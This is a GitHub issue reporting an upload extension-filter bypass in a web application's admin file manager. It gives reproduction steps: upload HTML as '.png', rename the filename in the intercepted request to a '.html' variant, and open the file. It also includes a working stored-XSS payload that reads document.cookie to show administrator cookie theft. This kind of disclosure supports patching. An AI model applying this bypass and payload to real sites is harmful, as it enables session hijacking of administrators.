Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

bypassed extension filter in uploading process different before #461

Open
yaoyao6688 opened this issue Oct 11, 2019 · 0 comments
Open

bypassed extension filter in uploading process different before #461

yaoyao6688 opened this issue Oct 11, 2019 · 0 comments

Comments

@yaoyao6688
Copy link

yaoyao6688 commented Oct 11, 2019

Brief of this vulnerability
There are many suffix names such as PHP and HTML in uploading files, but the following methods can bypass file restrictions, upload malicious HTML types and execute arbitrary JS code
Test Environment
php7.0.7+apache
Affect version
<=3.0.4
Payload
1 Visit website http://[address]:[port]/[app_path]/admin/index.php?id=filesmanager with login
2 Save html codes with '.png' extensions. and upload it like below.

<html> 
    <head> 
	    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hacker</title> 
    </head> 
    <body> 
     <svg/onload=alert(document.cookie)>
    </body> 
</html>

3 Click the uploaded file name and Grab the packet and change the suffix name to XXX"".html at filename,This circumvents this limitation.
4 move to http://[address]:[port]/[app_path]/public/uploads/[uploaded file]
You can see that you executed HTML and JS code,If you access this file, you can get the administrator's cookie and execute any JS code
the details of these vulnerabilities to see
http://test.lingdong.store/2019/10/12/Bypass-the-HTML-file-suffix-restriction-when-uploading-files/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant